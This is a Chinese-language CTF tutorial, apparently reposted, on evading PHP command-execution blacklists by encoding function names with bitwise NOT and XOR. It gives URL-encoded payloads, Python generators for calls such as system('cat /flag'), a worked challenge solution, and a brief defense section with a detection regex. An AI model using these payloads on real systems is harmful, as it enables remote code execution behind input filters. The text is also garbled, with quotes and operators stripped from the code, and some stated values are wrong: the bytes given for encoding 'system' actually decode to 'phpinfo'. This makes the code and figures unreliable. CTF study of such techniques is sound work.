从CTF实战出发:手把手教你用取反、异或绕过PHP命令执行黑名单(附脚本)
从CTF实战出发手把手教你用取反、异或绕过PHP命令执行黑名单附脚本在CTF竞赛和安全研究中PHP命令执行漏洞是常见的考察点。面对严格的黑名单过滤机制传统的攻击手法往往失效。本文将深入剖析两种高效绕过技术——取反和异或运算通过真实CTF题目演示如何手工构造Payload并提供可直接复用的Python自动化脚本。1. 理解PHP命令执行黑名单机制典型的PHP命令执行漏洞常出现在eval()、system()等函数中。防御方通常会采用黑名单过滤危险字符$blacklist [system, exec, passthru, cat, flag, , |, ];传统绕过方法如拼接字符串、使用通配符等容易被现代WAF识别。取反和异或技术的优势在于非直观性生成的Payload不包含任何被过滤的关键词数学确定性通过位运算可精确生成任意字符低检测率多数规则引擎难以识别编码后的恶意指令注意实际测试中发现部分环境会对URL编码进行二次解码可能导致Payload失效。建议先在本地环境验证。2. 取反运算绕过技术详解取反(~)是PHP中的位运算符配合URL编码可构造任意函数名和参数。以经典的[极客大挑战 2019]RCE ME为例2.1 手工构造取反Payload假设需要执行system(ls)其取反构造过程如下计算字符的ASCII码取反值# system的取反计算 s ~ord(s) 0xFF # 结果为0x8F y ~ord(y) 0xFF # 结果为0x97 # 完整system取反~%8F%97%8F%96%91%99%90URL编码后组合(~%8F%97%8F%96%91%99%90)(~%93%8C%DF%D0)2.2 自动化生成脚本以下Python脚本可自动生成取反Payloaddef generate_negation_payload(func, cmd): def negate(s): return .join([% hex(~ord(c) 0xFF)[2:].upper() for c in s]) return f(~{negate(func)})(~{negate(cmd)}) # 示例生成system(cat /flag)的Payload print(generate_negation_payload(system, cat /flag))3. 异或运算绕过进阶技巧当取反被过滤时异或(^)是更隐蔽的选择。其核心原理A ^ B C ⇒ C ^ B A3.1 异或Payload构造步骤选择允许的字符集如a-z通过三重异或生成目标字符# 生成字母n的示例 n ord(n) a, b, c ord(c), ord(d), ord(i) assert a ^ b ^ c n # True组合成完整函数调用((%8F%9E%96%9C^%FF%9C%FF%9B^%FF%8F%FF%96))((命令))3.2 智能异或生成器以下脚本自动寻找可用异或组合from itertools import product def find_xor_combination(target, charset): target_ord ord(target) for combo in product(charset, repeat3): if ord(combo[0]) ^ ord(combo[1]) ^ ord(combo[2]) target_ord: return combo return None # 示例生成print_r的异或表示 allowed_chars acdefghijklmnopqrstuvwxyz print_r_chars [] for c in print_r: combo find_xor_combination(c, allowed_chars) print_r_chars.append(combo)4. 实战案例多层过滤绕过以[ISITDTU 2019]EasyPHP为例题目限制过滤了数字、引号、空格等字符限制使用的唯一字符数≤134.1 突破方案使用异或生成print_r(scandir(.))通过字符复用减少唯一字符数# 原始Payload字符数16 # 优化后方案 payload ((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))最终获取flagreadfile(end(scandir(.)))5. 防御对策与检测方法作为防御方建议采用白名单替代黑名单只允许预期字符语法分析检测非常规函数调用执行监控记录异常进程创建行为检测取反/异或攻击的规则示例/\(~[%\w]\)\s*\(~[%\w]\)/i6. 工具化实践将上述技术整合为CTF辅助工具class PHPPayloadGenerator: def __init__(self): self.methods { negation: self._generate_negation, xor: self._generate_xor } def generate(self, method, func, cmd): return self.methods[method](func, cmd) def _generate_negation(self, func, cmd): # 取反生成逻辑 pass def _generate_xor(self, func, cmd): # 异或生成逻辑 pass # 使用示例 generator PHPPayloadGenerator() print(generator.generate(xor, system, cat /flag))在最近参加的CTF比赛中遇到一道需要同时绕过disable_functions和黑名单的题目。通过组合取反和异或技术最终用三层嵌套的异或Payload成功读取flag这种实战经验让我深刻体会到位运算在绕过中的强大威力。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2537054.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!